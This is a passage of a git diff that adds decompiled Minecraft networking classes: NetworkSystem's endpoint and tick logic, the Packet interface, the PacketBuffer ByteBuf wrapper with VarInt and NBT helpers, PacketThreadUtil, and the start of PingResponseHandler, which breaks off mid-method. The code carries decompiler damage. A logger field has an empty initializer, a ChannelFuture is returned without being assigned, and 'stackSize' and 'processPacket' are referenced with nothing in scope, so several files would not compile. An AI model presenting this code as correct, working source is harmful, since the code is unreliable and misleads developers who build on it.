+            var2.setNetHandler(new NetHandlerHandshakeMemory(mcServer, var2));
+            networkManagers.add(var2);
+            p_initChannel_1_.pipeline().addLast("packet_handler", var2);
+          }
+        }).group((EventLoopGroup)eventLoops.getValue()).localAddress(LocalAddress.ANY)).bind().syncUninterruptibly();
+      endpoints.add(var1);
+    }
+    ChannelFuture var1;
+    return var1.channel().localAddress();
+  }
+  
+
+
+
+  public void terminateEndpoints()
+  {
+    isAlive = false;
+    Iterator var1 = endpoints.iterator();
+    
+    while (var1.hasNext())
+    {
+      ChannelFuture var2 = (ChannelFuture)var1.next();
+      
+      try
+      {
+        var2.channel().close().sync();
+      }
+      catch (InterruptedException var4)
+      {
+        logger.error("Interrupted whilst closing channel");
+      }
+    }
+  }
+  
+
+
+
+
+  public void networkTick()
+  {
+    List var1 = networkManagers;
+    
+    synchronized (networkManagers)
+    {
+      Iterator var2 = networkManagers.iterator();
+      
+      while (var2.hasNext())
+      {
+        final NetworkManager var3 = (NetworkManager)var2.next();
+        
+        if (!var3.hasNoChannel())
+        {
+          if (!var3.isChannelOpen())
+          {
+            var2.remove();
+            var3.checkDisconnected();
+          }
+          else
+          {
+            try
+            {
+              var3.processReceivedPackets();
+            }
+            catch (Exception var8)
+            {
+              if (var3.isLocalChannel())
+              {
+                CrashReport var10 = CrashReport.makeCrashReport(var8, "Ticking memory connection");
+                CrashReportCategory var6 = var10.makeCategory("Ticking connection");
+                var6.addCrashSectionCallable("Connection", new Callable()
+                {
+                  private static final String __OBFID = "CL_00002272";
+                  
+                  public String func_180229_a() {
+                    return var3.toString();
+                  }
+                  
+                  public Object call() {
+                    return func_180229_a();
+                  }
+                });
+                throw new net.minecraft.util.ReportedException(var10);
+              }
+              
+              logger.warn("Failed to handle packet for " + var3.getRemoteAddress(), var8);
+              final ChatComponentText var5 = new ChatComponentText("Internal server error");
+              var3.sendPacket(new S40PacketDisconnect(var5), new GenericFutureListener()
+              {
+                private static final String __OBFID = "CL_00002271";
+                
+                public void operationComplete(Future p_operationComplete_1_) {
+                  var3.closeChannel(var5);
+                }
+              }, new GenericFutureListener[0]);
+              var3.disableAutoRead();
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public MinecraftServer getServer()
+  {
+    return mcServer;
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/Packet.java b/src/minecraft/net/minecraft/network/Packet.java
new file mode 100644
index 0000000..ea4501c
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/Packet.java
@@ -0,0 +1,14 @@
+package net.minecraft.network;
+
+import java.io.IOException;
+
+public abstract interface Packet
+{
+  public abstract void readPacketData(PacketBuffer paramPacketBuffer)
+    throws IOException;
+  
+  public abstract void writePacketData(PacketBuffer paramPacketBuffer)
+    throws IOException;
+  
+  public abstract void processPacket(INetHandler paramINetHandler);
+}
diff --git a/src/minecraft/net/minecraft/network/PacketBuffer.java b/src/minecraft/net/minecraft/network/PacketBuffer.java
new file mode 100644
index 0000000..3dcce88
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/PacketBuffer.java
@@ -0,0 +1,1040 @@
+package net.minecraft.network;
+
+import com.google.common.base.Charsets;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.ByteBufProcessor;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.EncoderException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+import java.util.UUID;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTSizeTracker;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+
+public class PacketBuffer extends ByteBuf
+{
+  private final ByteBuf buf;
+  private static final String __OBFID = "CL_00001251";
+  
+  public PacketBuffer(ByteBuf wrapped)
+  {
+    buf = wrapped;
+  }
+  
+
+
+
+
+  public static int getVarIntSize(int input)
+  {
+    for (int var1 = 1; var1 < 5; var1++)
+    {
+      if ((input & -1 << var1 * 7) == 0)
+      {
+        return var1;
+      }
+    }
+    
+    return 5;
+  }
+  
+  public void writeByteArray(byte[] array)
+  {
+    writeVarIntToBuffer(array.length);
+    writeBytes(array);
+  }
+  
+  public byte[] readByteArray()
+  {
+    byte[] var1 = new byte[readVarIntFromBuffer()];
+    readBytes(var1);
+    return var1;
+  }
+  
+  public BlockPos readBlockPos()
+  {
+    return BlockPos.fromLong(readLong());
+  }
+  
+  public void writeBlockPos(BlockPos pos)
+  {
+    writeLong(pos.toLong());
+  }
+  
+  public IChatComponent readChatComponent()
+  {
+    return IChatComponent.Serializer.jsonToComponent(readStringFromBuffer(32767));
+  }
+  
+  public void writeChatComponent(IChatComponent component)
+  {
+    writeString(IChatComponent.Serializer.componentToJson(component));
+  }
+  
+  public Enum readEnumValue(Class enumClass)
+  {
+    return ((Enum[])enumClass.getEnumConstants())[readVarIntFromBuffer()];
+  }
+  
+  public void writeEnumValue(Enum value)
+  {
+    writeVarIntToBuffer(value.ordinal());
+  }
+  
+
+
+
+
+  public int readVarIntFromBuffer()
+  {
+    int var1 = 0;
+    int var2 = 0;
+    
+    byte var3;
+    do
+    {
+      var3 = readByte();
+      var1 |= (var3 & 0x7F) << var2++ * 7;
+      
+      if (var2 > 5)
+      {
+        throw new RuntimeException("VarInt too big");
+      }
+      
+    } while ((var3 & 0x80) == 128);
+    
+    return var1;
+  }
+  
+  public long readVarLong()
+  {
+    long var1 = 0L;
+    int var3 = 0;
+    
+    byte var4;
+    do
+    {
+      var4 = readByte();
+      var1 |= (var4 & 0x7F) << var3++ * 7;
+      
+      if (var3 > 10)
+      {
+        throw new RuntimeException("VarLong too big");
+      }
+      
+    } while ((var4 & 0x80) == 128);
+    
+    return var1;
+  }
+  
+  public void writeUuid(UUID uuid)
+  {
+    writeLong(uuid.getMostSignificantBits());
+    writeLong(uuid.getLeastSignificantBits());
+  }
+  
+  public UUID readUuid()
+  {
+    return new UUID(readLong(), readLong());
+  }
+  
+
+
+
+
+
+
+  public void writeVarIntToBuffer(int input)
+  {
+    while ((input & 0xFFFFFF80) != 0)
+    {
+      writeByte(input & 0x7F | 0x80);
+      input >>>= 7;
+    }
+    
+    writeByte(input);
+  }
+  
+  public void writeVarLong(long value)
+  {
+    while ((value & 0xFFFFFFFFFFFFFF80) != 0L)
+    {
+      writeByte((int)(value & 0x7F) | 0x80);
+      value >>>= 7;
+    }
+    
+    writeByte((int)value);
+  }
+  
+
+
+
+  public void writeNBTTagCompoundToBuffer(NBTTagCompound nbt)
+  {
+    if (nbt == null)
+    {
+      writeByte(0);
+    }
+    else
+    {
+      try
+      {
+        CompressedStreamTools.write(nbt, new ByteBufOutputStream(this));
+      }
+      catch (IOException var3)
+      {
+        throw new EncoderException(var3);
+      }
+    }
+  }
+  
+
+
+  public NBTTagCompound readNBTTagCompoundFromBuffer()
+    throws IOException
+  {
+    int var1 = readerIndex();
+    byte var2 = readByte();
+    
+    if (var2 == 0)
+    {
+      return null;
+    }
+    
+
+    readerIndex(var1);
+    return CompressedStreamTools.func_152456_a(new ByteBufInputStream(this), new NBTSizeTracker(2097152L));
+  }
+  
+
+
+
+
+  public void writeItemStackToBuffer(ItemStack stack)
+  {
+    if (stack == null)
+    {
+      writeShort(-1);
+    }
+    else
+    {
+      writeShort(Item.getIdFromItem(stack.getItem()));
+      writeByte(stackSize);
+      writeShort(stack.getMetadata());
+      NBTTagCompound var2 = null;
+      
+      if ((stack.getItem().isDamageable()) || (stack.getItem().getShareTag()))
+      {
+        var2 = stack.getTagCompound();
+      }
+      
+      writeNBTTagCompoundToBuffer(var2);
+    }
+  }
+  
+
+
+  public ItemStack readItemStackFromBuffer()
+    throws IOException
+  {
+    ItemStack var1 = null;
+    short var2 = readShort();
+    
+    if (var2 >= 0)
+    {
+      byte var3 = readByte();
+      short var4 = readShort();
+      var1 = new ItemStack(Item.getItemById(var2), var3, var4);
+      var1.setTagCompound(readNBTTagCompoundFromBuffer());
+    }
+    
+    return var1;
+  }
+  
+
+
+
+
+  public String readStringFromBuffer(int maxLength)
+  {
+    int var2 = readVarIntFromBuffer();
+    
+    if (var2 > maxLength * 4)
+    {
+      throw new DecoderException("The received encoded string buffer length is longer than maximum allowed (" + var2 + " > " + maxLength * 4 + ")");
+    }
+    if (var2 < 0)
+    {
+      throw new DecoderException("The received encoded string buffer length is less than zero! Weird string!");
+    }
+    
+
+    String var3 = new String(readBytes(var2).array(), Charsets.UTF_8);
+    
+    if (var3.length() > maxLength)
+    {
+      throw new DecoderException("The received string length is longer than maximum allowed (" + var2 + " > " + maxLength + ")");
+    }
+    
+
+    return var3;
+  }
+  
+
+
+  public PacketBuffer writeString(String string)
+  {
+    byte[] var2 = string.getBytes(Charsets.UTF_8);
+    
+    if (var2.length > 32767)
+    {
+      throw new EncoderException("String too big (was " + string.length() + " bytes encoded, max " + 32767 + ")");
+    }
+    
+
+    writeVarIntToBuffer(var2.length);
+    writeBytes(var2);
+    return this;
+  }
+  
+
+  public int capacity()
+  {
+    return buf.capacity();
+  }
+  
+  public ByteBuf capacity(int p_capacity_1_)
+  {
+    return buf.capacity(p_capacity_1_);
+  }
+  
+  public int maxCapacity()
+  {
+    return buf.maxCapacity();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buf.alloc();
+  }
+  
+  public ByteOrder order()
+  {
+    return buf.order();
+  }
+  
+  public ByteBuf order(ByteOrder p_order_1_)
+  {
+    return buf.order(p_order_1_);
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buf.unwrap();
+  }
+  
+  public boolean isDirect()
+  {
+    return buf.isDirect();
+  }
+  
+  public int readerIndex()
+  {
+    return buf.readerIndex();
+  }
+  
+  public ByteBuf readerIndex(int p_readerIndex_1_)
+  {
+    return buf.readerIndex(p_readerIndex_1_);
+  }
+  
+  public int writerIndex()
+  {
+    return buf.writerIndex();
+  }
+  
+  public ByteBuf writerIndex(int p_writerIndex_1_)
+  {
+    return buf.writerIndex(p_writerIndex_1_);
+  }
+  
+  public ByteBuf setIndex(int p_setIndex_1_, int p_setIndex_2_)
+  {
+    return buf.setIndex(p_setIndex_1_, p_setIndex_2_);
+  }
+  
+  public int readableBytes()
+  {
+    return buf.readableBytes();
+  }
+  
+  public int writableBytes()
+  {
+    return buf.writableBytes();
+  }
+  
+  public int maxWritableBytes()
+  {
+    return buf.maxWritableBytes();
+  }
+  
+  public boolean isReadable()
+  {
+    return buf.isReadable();
+  }
+  
+  public boolean isReadable(int p_isReadable_1_)
+  {
+    return buf.isReadable(p_isReadable_1_);
+  }
+  
+  public boolean isWritable()
+  {
+    return buf.isWritable();
+  }
+  
+  public boolean isWritable(int p_isWritable_1_)
+  {
+    return buf.isWritable(p_isWritable_1_);
+  }
+  
+  public ByteBuf clear()
+  {
+    return buf.clear();
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    return buf.markReaderIndex();
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    return buf.resetReaderIndex();
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    return buf.markWriterIndex();
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    return buf.resetWriterIndex();
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    return buf.discardReadBytes();
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    return buf.discardSomeReadBytes();
+  }
+  
+  public ByteBuf ensureWritable(int p_ensureWritable_1_)
+  {
+    return buf.ensureWritable(p_ensureWritable_1_);
+  }
+  
+  public int ensureWritable(int p_ensureWritable_1_, boolean p_ensureWritable_2_)
+  {
+    return buf.ensureWritable(p_ensureWritable_1_, p_ensureWritable_2_);
+  }
+  
+  public boolean getBoolean(int p_getBoolean_1_)
+  {
+    return buf.getBoolean(p_getBoolean_1_);
+  }
+  
+  public byte getByte(int p_getByte_1_)
+  {
+    return buf.getByte(p_getByte_1_);
+  }
+  
+  public short getUnsignedByte(int p_getUnsignedByte_1_)
+  {
+    return buf.getUnsignedByte(p_getUnsignedByte_1_);
+  }
+  
+  public short getShort(int p_getShort_1_)
+  {
+    return buf.getShort(p_getShort_1_);
+  }
+  
+  public int getUnsignedShort(int p_getUnsignedShort_1_)
+  {
+    return buf.getUnsignedShort(p_getUnsignedShort_1_);
+  }
+  
+  public int getMedium(int p_getMedium_1_)
+  {
+    return buf.getMedium(p_getMedium_1_);
+  }
+  
+  public int getUnsignedMedium(int p_getUnsignedMedium_1_)
+  {
+    return buf.getUnsignedMedium(p_getUnsignedMedium_1_);
+  }
+  
+  public int getInt(int p_getInt_1_)
+  {
+    return buf.getInt(p_getInt_1_);
+  }
+  
+  public long getUnsignedInt(int p_getUnsignedInt_1_)
+  {
+    return buf.getUnsignedInt(p_getUnsignedInt_1_);
+  }
+  
+  public long getLong(int p_getLong_1_)
+  {
+    return buf.getLong(p_getLong_1_);
+  }
+  
+  public char getChar(int p_getChar_1_)
+  {
+    return buf.getChar(p_getChar_1_);
+  }
+  
+  public float getFloat(int p_getFloat_1_)
+  {
+    return buf.getFloat(p_getFloat_1_);
+  }
+  
+  public double getDouble(int p_getDouble_1_)
+  {
+    return buf.getDouble(p_getDouble_1_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, ByteBuf p_getBytes_2_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, ByteBuf p_getBytes_2_, int p_getBytes_3_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_, p_getBytes_3_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, ByteBuf p_getBytes_2_, int p_getBytes_3_, int p_getBytes_4_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_, p_getBytes_3_, p_getBytes_4_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, byte[] p_getBytes_2_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, byte[] p_getBytes_2_, int p_getBytes_3_, int p_getBytes_4_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_, p_getBytes_3_, p_getBytes_4_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, ByteBuffer p_getBytes_2_)
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_);
+  }
+  
+  public ByteBuf getBytes(int p_getBytes_1_, OutputStream p_getBytes_2_, int p_getBytes_3_) throws IOException
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_, p_getBytes_3_);
+  }
+  
+  public int getBytes(int p_getBytes_1_, GatheringByteChannel p_getBytes_2_, int p_getBytes_3_) throws IOException
+  {
+    return buf.getBytes(p_getBytes_1_, p_getBytes_2_, p_getBytes_3_);
+  }
+  
+  public ByteBuf setBoolean(int p_setBoolean_1_, boolean p_setBoolean_2_)
+  {
+    return buf.setBoolean(p_setBoolean_1_, p_setBoolean_2_);
+  }
+  
+  public ByteBuf setByte(int p_setByte_1_, int p_setByte_2_)
+  {
+    return buf.setByte(p_setByte_1_, p_setByte_2_);
+  }
+  
+  public ByteBuf setShort(int p_setShort_1_, int p_setShort_2_)
+  {
+    return buf.setShort(p_setShort_1_, p_setShort_2_);
+  }
+  
+  public ByteBuf setMedium(int p_setMedium_1_, int p_setMedium_2_)
+  {
+    return buf.setMedium(p_setMedium_1_, p_setMedium_2_);
+  }
+  
+  public ByteBuf setInt(int p_setInt_1_, int p_setInt_2_)
+  {
+    return buf.setInt(p_setInt_1_, p_setInt_2_);
+  }
+  
+  public ByteBuf setLong(int p_setLong_1_, long p_setLong_2_)
+  {
+    return buf.setLong(p_setLong_1_, p_setLong_2_);
+  }
+  
+  public ByteBuf setChar(int p_setChar_1_, int p_setChar_2_)
+  {
+    return buf.setChar(p_setChar_1_, p_setChar_2_);
+  }
+  
+  public ByteBuf setFloat(int p_setFloat_1_, float p_setFloat_2_)
+  {
+    return buf.setFloat(p_setFloat_1_, p_setFloat_2_);
+  }
+  
+  public ByteBuf setDouble(int p_setDouble_1_, double p_setDouble_2_)
+  {
+    return buf.setDouble(p_setDouble_1_, p_setDouble_2_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, ByteBuf p_setBytes_2_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, ByteBuf p_setBytes_2_, int p_setBytes_3_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_, p_setBytes_3_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, ByteBuf p_setBytes_2_, int p_setBytes_3_, int p_setBytes_4_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_, p_setBytes_3_, p_setBytes_4_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, byte[] p_setBytes_2_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, byte[] p_setBytes_2_, int p_setBytes_3_, int p_setBytes_4_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_, p_setBytes_3_, p_setBytes_4_);
+  }
+  
+  public ByteBuf setBytes(int p_setBytes_1_, ByteBuffer p_setBytes_2_)
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_);
+  }
+  
+  public int setBytes(int p_setBytes_1_, InputStream p_setBytes_2_, int p_setBytes_3_) throws IOException
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_, p_setBytes_3_);
+  }
+  
+  public int setBytes(int p_setBytes_1_, ScatteringByteChannel p_setBytes_2_, int p_setBytes_3_) throws IOException
+  {
+    return buf.setBytes(p_setBytes_1_, p_setBytes_2_, p_setBytes_3_);
+  }
+  
+  public ByteBuf setZero(int p_setZero_1_, int p_setZero_2_)
+  {
+    return buf.setZero(p_setZero_1_, p_setZero_2_);
+  }
+  
+  public boolean readBoolean()
+  {
+    return buf.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    return buf.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    return buf.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    return buf.readShort();
+  }
+  
+  public int readUnsignedShort()
+  {
+    return buf.readUnsignedShort();
+  }
+  
+  public int readMedium()
+  {
+    return buf.readMedium();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    return buf.readUnsignedMedium();
+  }
+  
+  public int readInt()
+  {
+    return buf.readInt();
+  }
+  
+  public long readUnsignedInt()
+  {
+    return buf.readUnsignedInt();
+  }
+  
+  public long readLong()
+  {
+    return buf.readLong();
+  }
+  
+  public char readChar()
+  {
+    return buf.readChar();
+  }
+  
+  public float readFloat()
+  {
+    return buf.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    return buf.readDouble();
+  }
+  
+  public ByteBuf readBytes(int p_readBytes_1_)
+  {
+    return buf.readBytes(p_readBytes_1_);
+  }
+  
+  public ByteBuf readSlice(int p_readSlice_1_)
+  {
+    return buf.readSlice(p_readSlice_1_);
+  }
+  
+  public ByteBuf readBytes(ByteBuf p_readBytes_1_)
+  {
+    return buf.readBytes(p_readBytes_1_);
+  }
+  
+  public ByteBuf readBytes(ByteBuf p_readBytes_1_, int p_readBytes_2_)
+  {
+    return buf.readBytes(p_readBytes_1_, p_readBytes_2_);
+  }
+  
+  public ByteBuf readBytes(ByteBuf p_readBytes_1_, int p_readBytes_2_, int p_readBytes_3_)
+  {
+    return buf.readBytes(p_readBytes_1_, p_readBytes_2_, p_readBytes_3_);
+  }
+  
+  public ByteBuf readBytes(byte[] p_readBytes_1_)
+  {
+    return buf.readBytes(p_readBytes_1_);
+  }
+  
+  public ByteBuf readBytes(byte[] p_readBytes_1_, int p_readBytes_2_, int p_readBytes_3_)
+  {
+    return buf.readBytes(p_readBytes_1_, p_readBytes_2_, p_readBytes_3_);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer p_readBytes_1_)
+  {
+    return buf.readBytes(p_readBytes_1_);
+  }
+  
+  public ByteBuf readBytes(OutputStream p_readBytes_1_, int p_readBytes_2_) throws IOException
+  {
+    return buf.readBytes(p_readBytes_1_, p_readBytes_2_);
+  }
+  
+  public int readBytes(GatheringByteChannel p_readBytes_1_, int p_readBytes_2_) throws IOException
+  {
+    return buf.readBytes(p_readBytes_1_, p_readBytes_2_);
+  }
+  
+  public ByteBuf skipBytes(int p_skipBytes_1_)
+  {
+    return buf.skipBytes(p_skipBytes_1_);
+  }
+  
+  public ByteBuf writeBoolean(boolean p_writeBoolean_1_)
+  {
+    return buf.writeBoolean(p_writeBoolean_1_);
+  }
+  
+  public ByteBuf writeByte(int p_writeByte_1_)
+  {
+    return buf.writeByte(p_writeByte_1_);
+  }
+  
+  public ByteBuf writeShort(int p_writeShort_1_)
+  {
+    return buf.writeShort(p_writeShort_1_);
+  }
+  
+  public ByteBuf writeMedium(int p_writeMedium_1_)
+  {
+    return buf.writeMedium(p_writeMedium_1_);
+  }
+  
+  public ByteBuf writeInt(int p_writeInt_1_)
+  {
+    return buf.writeInt(p_writeInt_1_);
+  }
+  
+  public ByteBuf writeLong(long p_writeLong_1_)
+  {
+    return buf.writeLong(p_writeLong_1_);
+  }
+  
+  public ByteBuf writeChar(int p_writeChar_1_)
+  {
+    return buf.writeChar(p_writeChar_1_);
+  }
+  
+  public ByteBuf writeFloat(float p_writeFloat_1_)
+  {
+    return buf.writeFloat(p_writeFloat_1_);
+  }
+  
+  public ByteBuf writeDouble(double p_writeDouble_1_)
+  {
+    return buf.writeDouble(p_writeDouble_1_);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf p_writeBytes_1_)
+  {
+    return buf.writeBytes(p_writeBytes_1_);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf p_writeBytes_1_, int p_writeBytes_2_)
+  {
+    return buf.writeBytes(p_writeBytes_1_, p_writeBytes_2_);
+  }
+  
+  public ByteBuf writeBytes(ByteBuf p_writeBytes_1_, int p_writeBytes_2_, int p_writeBytes_3_)
+  {
+    return buf.writeBytes(p_writeBytes_1_, p_writeBytes_2_, p_writeBytes_3_);
+  }
+  
+  public ByteBuf writeBytes(byte[] p_writeBytes_1_)
+  {
+    return buf.writeBytes(p_writeBytes_1_);
+  }
+  
+  public ByteBuf writeBytes(byte[] p_writeBytes_1_, int p_writeBytes_2_, int p_writeBytes_3_)
+  {
+    return buf.writeBytes(p_writeBytes_1_, p_writeBytes_2_, p_writeBytes_3_);
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer p_writeBytes_1_)
+  {
+    return buf.writeBytes(p_writeBytes_1_);
+  }
+  
+  public int writeBytes(InputStream p_writeBytes_1_, int p_writeBytes_2_) throws IOException
+  {
+    return buf.writeBytes(p_writeBytes_1_, p_writeBytes_2_);
+  }
+  
+  public int writeBytes(ScatteringByteChannel p_writeBytes_1_, int p_writeBytes_2_) throws IOException
+  {
+    return buf.writeBytes(p_writeBytes_1_, p_writeBytes_2_);
+  }
+  
+  public ByteBuf writeZero(int p_writeZero_1_)
+  {
+    return buf.writeZero(p_writeZero_1_);
+  }
+  
+  public int indexOf(int p_indexOf_1_, int p_indexOf_2_, byte p_indexOf_3_)
+  {
+    return buf.indexOf(p_indexOf_1_, p_indexOf_2_, p_indexOf_3_);
+  }
+  
+  public int bytesBefore(byte p_bytesBefore_1_)
+  {
+    return buf.bytesBefore(p_bytesBefore_1_);
+  }
+  
+  public int bytesBefore(int p_bytesBefore_1_, byte p_bytesBefore_2_)
+  {
+    return buf.bytesBefore(p_bytesBefore_1_, p_bytesBefore_2_);
+  }
+  
+  public int bytesBefore(int p_bytesBefore_1_, int p_bytesBefore_2_, byte p_bytesBefore_3_)
+  {
+    return buf.bytesBefore(p_bytesBefore_1_, p_bytesBefore_2_, p_bytesBefore_3_);
+  }
+  
+  public int forEachByte(ByteBufProcessor p_forEachByte_1_)
+  {
+    return buf.forEachByte(p_forEachByte_1_);
+  }
+  
+  public int forEachByte(int p_forEachByte_1_, int p_forEachByte_2_, ByteBufProcessor p_forEachByte_3_)
+  {
+    return buf.forEachByte(p_forEachByte_1_, p_forEachByte_2_, p_forEachByte_3_);
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor p_forEachByteDesc_1_)
+  {
+    return buf.forEachByteDesc(p_forEachByteDesc_1_);
+  }
+  
+  public int forEachByteDesc(int p_forEachByteDesc_1_, int p_forEachByteDesc_2_, ByteBufProcessor p_forEachByteDesc_3_)
+  {
+    return buf.forEachByteDesc(p_forEachByteDesc_1_, p_forEachByteDesc_2_, p_forEachByteDesc_3_);
+  }
+  
+  public ByteBuf copy()
+  {
+    return buf.copy();
+  }
+  
+  public ByteBuf copy(int p_copy_1_, int p_copy_2_)
+  {
+    return buf.copy(p_copy_1_, p_copy_2_);
+  }
+  
+  public ByteBuf slice()
+  {
+    return buf.slice();
+  }
+  
+  public ByteBuf slice(int p_slice_1_, int p_slice_2_)
+  {
+    return buf.slice(p_slice_1_, p_slice_2_);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return buf.duplicate();
+  }
+  
+  public int nioBufferCount()
+  {
+    return buf.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return buf.nioBuffer();
+  }
+  
+  public ByteBuffer nioBuffer(int p_nioBuffer_1_, int p_nioBuffer_2_)
+  {
+    return buf.nioBuffer(p_nioBuffer_1_, p_nioBuffer_2_);
+  }
+  
+  public ByteBuffer internalNioBuffer(int p_internalNioBuffer_1_, int p_internalNioBuffer_2_)
+  {
+    return buf.internalNioBuffer(p_internalNioBuffer_1_, p_internalNioBuffer_2_);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return buf.nioBuffers();
+  }
+  
+  public ByteBuffer[] nioBuffers(int p_nioBuffers_1_, int p_nioBuffers_2_)
+  {
+    return buf.nioBuffers(p_nioBuffers_1_, p_nioBuffers_2_);
+  }
+  
+  public boolean hasArray()
+  {
+    return buf.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buf.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buf.arrayOffset();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return buf.hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return buf.memoryAddress();
+  }
+  
+  public String toString(Charset p_toString_1_)
+  {
+    return buf.toString(p_toString_1_);
+  }
+  
+  public String toString(int p_toString_1_, int p_toString_2_, Charset p_toString_3_)
+  {
+    return buf.toString(p_toString_1_, p_toString_2_, p_toString_3_);
+  }
+  
+  public int hashCode()
+  {
+    return buf.hashCode();
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return buf.equals(p_equals_1_);
+  }
+  
+  public int compareTo(ByteBuf p_compareTo_1_)
+  {
+    return buf.compareTo(p_compareTo_1_);
+  }
+  
+  public String toString()
+  {
+    return buf.toString();
+  }
+  
+  public ByteBuf retain(int p_retain_1_)
+  {
+    return buf.retain(p_retain_1_);
+  }
+  
+  public ByteBuf retain()
+  {
+    return buf.retain();
+  }
+  
+  public int refCnt()
+  {
+    return buf.refCnt();
+  }
+  
+  public boolean release()
+  {
+    return buf.release();
+  }
+  
+  public boolean release(int p_release_1_)
+  {
+    return buf.release(p_release_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/PacketThreadUtil.java b/src/minecraft/net/minecraft/network/PacketThreadUtil.java
new file mode 100644
index 0000000..2537509
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/PacketThreadUtil.java
@@ -0,0 +1,24 @@
+package net.minecraft.network;
+
+import net.minecraft.util.IThreadListener;
+
+public class PacketThreadUtil {
+  private static final String __OBFID = "CL_00002306";
+  
+  public PacketThreadUtil() {}
+  
+  public static void func_180031_a(Packet p_180031_0_, final INetHandler p_180031_1_, IThreadListener p_180031_2_) {
+    if (!p_180031_2_.isCallingFromMinecraftThread())
+    {
+      p_180031_2_.addScheduledTask(new Runnable()
+      {
+        private static final String __OBFID = "CL_00002305";
+        
+        public void run() {
+          processPacket(p_180031_1_);
+        }
+      });
+      throw ThreadQuickExitException.field_179886_a;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/PingResponseHandler.java b/src/minecraft/net/minecraft/network/PingResponseHandler.java
new file mode 100644
index 0000000..75e55af
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/PingResponseHandler.java
@@ -0,0 +1,141 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import java.net.InetSocketAddress;
+import net.minecraft.server.MinecraftServer;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class PingResponseHandler extends ChannelInboundHandlerAdapter
+{
+  private static final Logger logger = ;
+  private NetworkSystem networkSystem;
+  private static final String __OBFID = "CL_00001444";
+  
+  public PingResponseHandler(NetworkSystem networkSystemIn)
+  {
+    networkSystem = networkSystemIn;
+  }
+  
+  public void channelRead(ChannelHandlerContext p_channelRead_1_, Object p_channelRead_2_)
+  {
+    ByteBuf var3 = (ByteBuf)p_channelRead_2_;
+    var3.markReaderIndex();
